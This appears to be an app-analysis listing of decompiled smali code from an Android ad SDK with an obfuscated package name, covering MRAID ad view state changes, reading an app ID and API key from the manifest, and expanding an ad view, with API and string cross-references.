186cond_103: iput-boolean v4, p0, Lcom/vxjxu/jkhfn1870/AdView;->isAnyIssue:Z
187goto/16 :goto_b6
188cond_106: new-instance v1, Lcom/vxjxu/jkhfn1870/SetPreferences;
190invoke-direct {v1, p1}, Lcom/vxjxu/jkhfn1870/SetPreferences;-><init>(Landroid/content/Context;)V
192invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/SetPreferences;->setPreferencesData()V
194invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getBackground()Landroid/graphics/drawable/Drawable;
195move-result-object v1
196iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerBgDrawable:Landroid/graphics/drawable/Drawable;
198invoke-virtual {p0, v4}, Lcom/vxjxu/jkhfn1870/AdView;->setClickable(Z)V
  • Data flow analysis:
    • p0: 1
200invoke-virtual {p0, v4}, Lcom/vxjxu/jkhfn1870/AdView;->setFocusable(Z)V
  • Data flow analysis:
    • p0: 1
201const/high16 v1, 0x20000
203invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/AdView;->setDescendantFocusability(I)V
  • Data flow analysis:
    • p0: 131072
205iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->adThread:Ljava/lang/Thread;
206if-eqz v1, :cond_12b
208iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->adThread:Ljava/lang/Thread;
210invoke-virtual {v1}, Ljava/lang/Thread;->isAlive()Z
211move-result v1
212if-nez v1, :cond_12e
213cond_12b:
214invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getAd()V
215cond_12e:
216invoke-static {p1}, Lcom/vxjxu/jkhfn1870/Util;->startBusense(Landroid/content/Context;)V
217goto/16 :goto_b6
Cross References
APIs
  • java.lang.String.equals
  • android.widget.FrameLayout.getParent
  • android.view.ViewGroup.removeView
  • android.widget.FrameLayout.removeView
  • android.view.ViewGroup.getChildAt
  • android.view.View.getLayoutParams
  • com.vxjxu.jkhfn1870.MraidView.setLayoutParams
  • android.view.ViewGroup.removeViewAt
  • android.view.ViewGroup.setVisibility
  • com.vxjxu.jkhfn1870.MraidView.setState
  • com.vxjxu.jkhfn1870.AdView.getAd
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.MraidView.getParent
  • android.view.ViewGroup.setVisibility
  • com.vxjxu.jkhfn1870.MraidView.setState
  • android.os.Handler.sendEmptyMessage
  • java.lang.Exception.printStackTrace
  • java.lang.String.equals
  • android.widget.FrameLayout.getParent
  • android.view.ViewGroup.removeView
  • android.widget.FrameLayout.removeView
  • android.view.ViewGroup.getChildAt
  • android.view.View.getLayoutParams
  • com.vxjxu.jkhfn1870.MraidView.setLayoutParams
  • android.view.ViewGroup.removeViewAt
  • android.view.ViewGroup.setVisibility
  • com.vxjxu.jkhfn1870.MraidView.setState
  • com.vxjxu.jkhfn1870.AdView.getAd
  • com.vxjxu.jkhfn1870.MraidView.getParent
  • android.view.ViewGroup.setVisibility
  • com.vxjxu.jkhfn1870.MraidView.setState
  • android.os.Handler.sendEmptyMessage
Strings
  • expanded
  • default
  • hidden
  • resized
Position Instruction Meta Information
0.prologue
1try_start_0:
2iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView;
3if-eqz v1, :cond_9
5iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView;
6const/4 v2, 0x1
7iput-boolean v2, v1, Lcom/vxjxu/jkhfn1870/AdView;->canFetchAd:Z
8cond_9:
9iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->state:Ljava/lang/String;
11const-string v2, "expanded"
13invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: expanded
14move-result v1
15if-eqz v1, :cond_61
17iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout;
18if-eqz v1, :cond_49
20iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup;
21if-eqz v1, :cond_49
23iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout;
25invoke-virtual {v1}, Landroid/widget/FrameLayout;->getParent()Landroid/view/ViewParent;
26move-result-object v1
27check-cast v1, Landroid/view/ViewGroup;
29iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout;
31invoke-virtual {v1, v2}, Landroid/view/ViewGroup;->removeView(Landroid/view/View;)V
33iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout;
35invoke-virtual {v1, p0}, Landroid/widget/FrameLayout;->removeView(Landroid/view/View;)V
37iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup;
38iget v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->viewIndex:I
40invoke-virtual {v1, v2}, Landroid/view/ViewGroup;->getChildAt(I)Landroid/view/View;
41move-result-object v1
43invoke-virtual {v1}, Landroid/view/View;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
44move-result-object v1
46invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
48iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup;
49iget v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->viewIndex:I
51invoke-virtual {v1, v2}, Landroid/view/ViewGroup;->removeViewAt(I)V
53iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup;
54const/4 v2, 0x0
56invoke-virtual {v1, v2}, Landroid/view/ViewGroup;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 0
57cond_49:
58const-string v1, "default"
60invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->setState(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: default
62iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView;
63if-eqz v1, :cond_57
65iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView;
67invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/AdView;->getAd()V
68try_end_57:
69iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
70if-eqz v1, :cond_60
72iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
74invoke-interface {v1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onCloseListener()V
75cond_60: return-void
76try_start_61:
77iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->state:Ljava/lang/String;
79const-string v2, "default"
81invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: default
82move-result v1
83if-eqz v1, :cond_8b
85invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getParent()Landroid/view/ViewParent;
86move-result-object v1
87check-cast v1, Landroid/view/ViewGroup;
88const/16 v2, 0x8
90invoke-virtual {v1, v2}, Landroid/view/ViewGroup;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 8
92const-string v1, "hidden"
94invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->setState(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: hidden
96iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->handler:Landroid/os/Handler;
97if-eqz v1, :cond_57
99iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->handler:Landroid/os/Handler;
100const/4 v2, -0x3
102invoke-virtual {v1, v2}, Landroid/os/Handler;->sendEmptyMessage(I)Z
103try_end_85: goto/16 :goto_57
104catch_86: move-exception v0
106invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
107goto/16 :goto_57
108try_start_8b:
109iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->state:Ljava/lang/String;
111const-string v2, "resized"
113invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: resized
114move-result v1
115if-eqz v1, :cond_db
117iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout;
118if-eqz v1, :cond_cb
120iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup;
121if-eqz v1, :cond_cb
123iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout;
125invoke-virtual {v1}, Landroid/widget/FrameLayout;->getParent()Landroid/view/ViewParent;
126move-result-object v1
127check-cast v1, Landroid/view/ViewGroup;
129iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout;
131invoke-virtual {v1, v2}, Landroid/view/ViewGroup;->removeView(Landroid/view/View;)V
133iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout;
135invoke-virtual {v1, p0}, Landroid/widget/FrameLayout;->removeView(Landroid/view/View;)V
137iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup;
138iget v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->viewIndex:I
140invoke-virtual {v1, v2}, Landroid/view/ViewGroup;->getChildAt(I)Landroid/view/View;
141move-result-object v1
143invoke-virtual {v1}, Landroid/view/View;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
144move-result-object v1
146invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
148iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup;
149iget v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->viewIndex:I
151invoke-virtual {v1, v2}, Landroid/view/ViewGroup;->removeViewAt(I)V
153iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup;
154const/4 v2, 0x0
156invoke-virtual {v1, v2}, Landroid/view/ViewGroup;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 0
157cond_cb:
158const-string v1, "default"
160invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->setState(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: default
162iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView;
163if-eqz v1, :cond_57
165iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView;
167invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/AdView;->getAd()V
168goto/16 :goto_57
169cond_db:
170invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getParent()Landroid/view/ViewParent;
171move-result-object v1
172check-cast v1, Landroid/view/ViewGroup;
173const/16 v2, 0x8
175invoke-virtual {v1, v2}, Landroid/view/ViewGroup;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 8
177const-string v1, "hidden"
179invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->setState(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: hidden
181iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->handler:Landroid/os/Handler;
182if-eqz v1, :cond_57
184iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->handler:Landroid/os/Handler;
185const/4 v2, -0x3
187invoke-virtual {v1, v2}, Landroid/os/Handler;->sendEmptyMessage(I)Z
188try_end_f5: goto/16 :goto_57
APIs
  • android.content.Context.getPackageManager
  • android.content.Context.getPackageName
  • android.content.pm.PackageManager.getApplicationInfo
  • android.os.Bundle.get
  • java.lang.Object.toString
  • java.lang.String.equals
  • android.os.Bundle.get
  • java.lang.Object.toString
  • java.lang.String.equals
  • java.util.StringTokenizer.<init>
  • java.util.StringTokenizer.nextToken
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.e
Strings
  • com.vxjxu.jkhfn1870.APPID
  • 0
  • com.vxjxu.jkhfn1870.APIKEY
  • *
  • AppId:
  • ApiKey=
  • airplay
  • AirplaySDK
  • Problem with fetching apiKey. Please chcek your APIKEY declaration in Manifest. It should be same as given in SDK doc.
  • Please check your APIKEY declaration in Manifest. It must be same as given in doc.
  • AppId or ApiKey not found in Manifest. Please add.
  • Please check your SDK declarations in Manifest. This errors comes when SDK unable to fetch APPID or APIKEY from Manifest. SDK Package Name:
  • Please check your SDK declarations in Manifest. This error comes when SDK unable to fetch APPID or APIKEY from Manifest.
Position Instruction Meta Information
0.param p0, "mContext" # Landroid/content/Context;
1.prologue
2try_start_0:
3invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
4move-result-object v6
6invoke-virtual {p0}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
7move-result-object v7
8const/16 v8, 0x80
10invoke-virtual {v6, v7, v8}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
  • Data flow analysis:
    • flags: 128
11move-result-object v2
13iget-object v3, v2, Landroid/content/pm/ApplicationInfo;->metaData:Landroid/os/Bundle;
15const-string v6, "com.vxjxu.jkhfn1870.APPID"
17invoke-virtual {v3, v6}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • key: com.vxjxu.jkhfn1870.APPID
18move-result-object v6
20invoke-virtual {v6}, Ljava/lang/Object;->toString()Ljava/lang/String;
21move-result-object v1
22if-eqz v1, :cond_2f
24const-string v6, ""
26invoke-virtual {v1, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
27move-result v6
28if-nez v6, :cond_2f
30const-string v6, "0"
32invoke-virtual {v1, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: 0
33move-result v6
34if-nez v6, :cond_2f
36invoke-static {v1}, Lcom/vxjxu/jkhfn1870/Util;->setAppID(Ljava/lang/String;)V
37cond_2f:
38const-string v0, ""
39try_start_31:
40const-string v6, "com.vxjxu.jkhfn1870.APIKEY"
42invoke-virtual {v3, v6}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • key: com.vxjxu.jkhfn1870.APIKEY
43move-result-object v6
45invoke-virtual {v6}, Ljava/lang/Object;->toString()Ljava/lang/String;
46move-result-object v0
47if-eqz v0, :cond_80
49const-string v6, ""
51invoke-virtual {v0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
52move-result v6
53if-nez v6, :cond_80
55const-string v6, "0"
57invoke-virtual {v0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: 0
58move-result v6
59if-nez v6, :cond_80
60new-instance v5, Ljava/util/StringTokenizer;
62const-string v6, "*"
64invoke-direct {v5, v0, v6}, Ljava/util/StringTokenizer;-><init>(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p1: *
66invoke-virtual {v5}, Ljava/util/StringTokenizer;->nextToken()Ljava/lang/String;
68invoke-virtual {v5}, Ljava/util/StringTokenizer;->nextToken()Ljava/lang/String;
69move-result-object v0
71invoke-static {v0}, Lcom/vxjxu/jkhfn1870/Util;->setApiKey(Ljava/lang/String;)V
72try_end_5e: new-instance v6, Ljava/lang/StringBuilder;
74invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
76const-string v7, "AppId: "
78invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: AppId:
79move-result-object v6
81invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
82move-result-object v6
84const-string v7, " ApiKey="
86invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ApiKey=
87move-result-object v6
89invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
90move-result-object v6
92invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
93move-result-object v6
95invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
96try_end_7e: const/4 v6, 0x1
97goto_7f: return v6
98try_start_80:
99const-string v6, "airplay"
101invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->setApiKey(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: airplay
102try_end_85: goto/16 :goto_5e
103catch_86: move-exception v4
104try_start_87:
105const-string v6, "AirplaySDK"
107const-string v7, "Problem with fetching apiKey. Please chcek your APIKEY declaration in Manifest. It should be same as given in SDK doc."
109invoke-static {v6, v7, v4}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Problem with fetching apiKey. Please chcek your APIKEY declaration in Manifest. It should be same as given in SDK doc.
110new-instance v6, Lcom/vxjxu/jkhfn1870/SendIntegrationError;
111const/16 v7, 0x65
113invoke-direct {v6, p0, v7}, Lcom/vxjxu/jkhfn1870/SendIntegrationError;-><init>(Landroid/content/Context;I)V
115const-string v6, "airplay"
117invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->setApiKey(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: airplay
119const-string v6, "Please check your APIKEY declaration in Manifest. It must be same as given in doc."
121invoke-static {v6}, Lcom/vxjxu/jkhfn1870/SDKIntializer;->sendIntegrationError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Please check your APIKEY declaration in Manifest. It must be same as given in doc.
122try_end_9f: goto/16 :goto_5e
123catch_a0: move-exception v4
125const-string v6, "AirplaySDK"
127const-string v7, "AppId or ApiKey not found in Manifest. Please add."
129invoke-static {v6, v7, v4}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: AppId or ApiKey not found in Manifest. Please add.
131const-string v6, "AppId or ApiKey not found in Manifest. Please add."
133invoke-static {v6}, Lcom/vxjxu/jkhfn1870/SDKIntializer;->sendIntegrationError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: AppId or ApiKey not found in Manifest. Please add.
134goto_ad: const/4 v6, 0x0
135goto/16 :goto_7f
136catch_af: move-exception v4
138const-string v6, "AirplaySDK"
140const-string v7, "Please check your SDK declarations in Manifest. This errors comes when SDK unable to fetch APPID or APIKEY from Manifest. SDK Package Name: "
142invoke-static {v6, v7, v4}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Please check your SDK declarations in Manifest. This errors comes when SDK unable to fetch APPID or APIKEY from Manifest. SDK Package Name:
144const-string v6, "Please check your SDK declarations in Manifest. This error comes when SDK unable to fetch APPID or APIKEY from Manifest."
146invoke-static {v6}, Lcom/vxjxu/jkhfn1870/SDKIntializer;->sendIntegrationError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Please check your SDK declarations in Manifest. This error comes when SDK unable to fetch APPID or APIKEY from Manifest.
147goto/16 :goto_ad
Cross References
APIs
  • com.vxjxu.jkhfn1870.MraidView.clearView
  • com.vxjxu.jkhfn1870.MraidView.getRootView
  • android.view.View.findViewById
  • android.widget.FrameLayout$LayoutParams.<init>
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • android.view.View.<init>
  • com.vxjxu.jkhfn1870.MraidView.getLayoutParams
  • android.view.View.setLayoutParams
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • android.widget.FrameLayout.<init>
  • android.widget.FrameLayout$LayoutParams.<init>
  • android.widget.FrameLayout.setLayoutParams
  • com.vxjxu.jkhfn1870.MraidView.getParent
  • android.view.ViewGroup.getChildCount
  • android.view.ViewGroup.getChildAt
  • com.vxjxu.jkhfn1870.MraidView.setLayoutParams
  • android.view.ViewGroup.removeView
  • android.widget.FrameLayout.addView
  • com.vxjxu.jkhfn1870.MraidView.addCloseButton
  • android.widget.Button.setId
  • android.widget.FrameLayout$LayoutParams.<init>
  • android.widget.Button.setLayoutParams
  • android.widget.FrameLayout.addView
  • android.view.ViewGroup.addView
  • android.view.ViewGroup.setVisibility
  • com.vxjxu.jkhfn1870.MraidView.setState
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.MraidView.loadUrl
  • com.vxjxu.jkhfn1870.MraidView.sendEventData
  • java.lang.Exception.printStackTrace
Strings
  • expanded
  • 94
  • 89
Position Instruction Meta Information
0.param p1, "url" # Ljava/lang/String;
1.prologue
2try_start_0:
3invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->clearView()V
5invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getRootView()Landroid/view/View;
6move-result-object v9
7const v10, 0x1020002
9invoke-virtual {v9, v10}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 16908290
10move-result-object v3
11check-cast v3, Landroid/widget/FrameLayout;
12new-instance v0, Landroid/widget/FrameLayout$LayoutParams;
13const/4 v9, -0x1
14const/4 v10, -0x1
16invoke-direct {v0, v9, v10}, Landroid/widget/FrameLayout$LayoutParams;-><init>(II)V
17new-instance v8, Landroid/view/View;
19invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
20move-result-object v9
22invoke-direct {v8, v9}, Landroid/view/View;-><init>(Landroid/content/Context;)V
24invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
25move-result-object v9
27invoke-virtual {v8, v9}, Landroid/view/View;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
28new-instance v9, Landroid/widget/FrameLayout;
30invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
31move-result-object v10
33invoke-direct {v9, v10}, Landroid/widget/FrameLayout;-><init>(Landroid/content/Context;)V
34iput-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout;
35new-instance v7, Landroid/widget/FrameLayout$LayoutParams;
36const/4 v9, -0x1
37const/4 v10, -0x1
39invoke-direct {v7, v9, v10}, Landroid/widget/FrameLayout$LayoutParams;-><init>(II)V
40const/16 v9, 0x11
41iput v9, v7, Landroid/widget/FrameLayout$LayoutParams;->gravity:I
43iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout;
45invoke-virtual {v9, v7}, Landroid/widget/FrameLayout;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
47invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getParent()Landroid/view/ViewParent;
48move-result-object v9
49check-cast v9, Landroid/view/ViewGroup;
50iput-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup;
51const/4 v6, 0x0
53iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup;
54if-eqz v9, :cond_bf
56iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup;
58invoke-virtual {v9}, Landroid/view/ViewGroup;->getChildCount()I
59move-result v4
60const/4 v6, 0x0
61goto_56: if-ge v6, v4, :cond_60
63iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup;
65invoke-virtual {v9, v6}, Landroid/view/ViewGroup;->getChildAt(I)Landroid/view/View;
  • Data flow analysis:
    • index: 0
66move-result-object v9
67if-ne v9, p0, :cond_d7
68cond_60: iput v6, p0, Lcom/vxjxu/jkhfn1870/MraidView;->viewIndex:I
70invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/MraidView;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
72iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup;
74invoke-virtual {v9, p0}, Landroid/view/ViewGroup;->removeView(Landroid/view/View;)V
76iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout;
78invoke-virtual {v9, p0}, Landroid/widget/FrameLayout;->addView(Landroid/view/View;)V
80iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandProperties:Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;
81iget-boolean v9, v9, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->useCustomClose:Z
82if-nez v9, :cond_9a
83const/4 v9, 0x5
85invoke-virtual {p0, v9}, Lcom/vxjxu/jkhfn1870/MraidView;->addCloseButton(I)Landroid/widget/Button;
  • Data flow analysis:
    • p0: 5
86move-result-object v1
87const/16 v9, 0x6f
89invoke-virtual {v1, v9}, Landroid/widget/Button;->setId(I)V
  • Data flow analysis:
    • id: 111
90new-instance v2, Landroid/widget/FrameLayout$LayoutParams;
91iget v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->scale:F
92float-to-int v9, v9
93mul-int/lit8 v9, v9, 0x32
94iget v10, p0, Lcom/vxjxu/jkhfn1870/MraidView;->scale:F
95float-to-int v10, v10
96mul-int/lit8 v10, v10, 0x32
98invoke-direct {v2, v9, v10}, Landroid/widget/FrameLayout$LayoutParams;-><init>(II)V
99const/16 v9, 0x35
100iput v9, v2, Landroid/widget/FrameLayout$LayoutParams;->gravity:I
102invoke-virtual {v1, v2}, Landroid/widget/Button;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
104iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout;
106invoke-virtual {v9, v1}, Landroid/widget/FrameLayout;->addView(Landroid/view/View;)V
107cond_9a:
108iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout;
110invoke-virtual {v3, v9}, Landroid/widget/FrameLayout;->addView(Landroid/view/View;)V
112iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup;
113iget v10, p0, Lcom/vxjxu/jkhfn1870/MraidView;->viewIndex:I
115invoke-virtual {v9, v8, v10}, Landroid/view/ViewGroup;->addView(Landroid/view/View;I)V
117iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup;
118const/16 v10, 0x8
120invoke-virtual {v9, v10}, Landroid/view/ViewGroup;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 8
122const-string v9, "expanded"
124invoke-virtual {p0, v9}, Lcom/vxjxu/jkhfn1870/MraidView;->setState(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: expanded
125if-eqz p1, :cond_bf
127const-string v9, ""
129invoke-virtual {p1, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
130move-result v9
131if-nez v9, :cond_bf
133invoke-virtual {p0, p1}, Lcom/vxjxu/jkhfn1870/MraidView;->loadUrl(Ljava/lang/String;)V
134cond_bf:
135iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
136if-eqz v9, :cond_c8
138iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
140invoke-interface {v9}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdExpandedListner()V
141cond_c8:
142iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView;
143if-eqz v9, :cond_d1
145iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView;
146const/4 v10, 0x0
147iput-boolean v10, v9, Lcom/vxjxu/jkhfn1870/AdView;->canFetchAd:Z
148cond_d1:
149const-string v9, "94"
151invoke-virtual {p0, v9}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 94
152try_end_d6: return-void
153cond_d7: add-int/lit8 v6, v6, 0x1
154goto/16 :goto_56
155catch_db: move-exception v5
157const-string v9, "89"
159invoke-virtual {p0, v9}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 89
161invoke-virtual {v5}, Ljava/lang/Exception;->printStackTrace()V
162goto/16 :goto_d6
APIs
  • android.util.Log.i
